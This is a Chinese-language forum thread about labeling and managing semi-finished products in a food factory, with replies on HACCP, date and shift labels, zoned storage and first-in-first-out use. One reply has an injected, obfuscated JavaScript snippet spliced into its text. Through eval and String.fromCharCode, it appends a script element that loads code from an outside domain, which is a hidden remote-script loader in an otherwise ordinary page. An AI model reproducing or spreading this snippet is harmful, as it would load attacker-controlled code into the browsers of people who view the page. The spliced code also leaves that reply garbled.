对于半成品品种一样但有的量很小，生产日期、原料批号繁多，车间对此的觉得很难进行标识，既占用容器，又占库位（公司库位已接近满负荷），又浪费人工进行标识，搞得我们品管好难去协调，大家是咋样操作的。

要有标识标明时间、数量、班组filesize (undefined Bytes)$('ed2k_HVf').innerHTML=htmlspecialchars(unescape(decodeURIComponent('filesize')))+' ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+' Bytes)';

使用HACCP原理来管控吧。

分区摆放，中间过道，

要有标识啊，标明时间、数量、班组等等。

对半成品生产日期，数量并标识管理。使用时在按照先进先出的原则进行使用！

定量领料生产啊，当天的产能是多少就领多少的原料，尽量不要出现半成品呗。实在不行就加班做完。

纯属责任心问题吧？

各位，我现在车间里的半成品，将当天未包装的入库，然后会将好多天生产的混放在一起，车间里在哪天需要再拿出来使用，现在车间拿出来使用，看半成品外箱竟然没有标识日期等内容，请问，有无好的对半成品管理的办法，。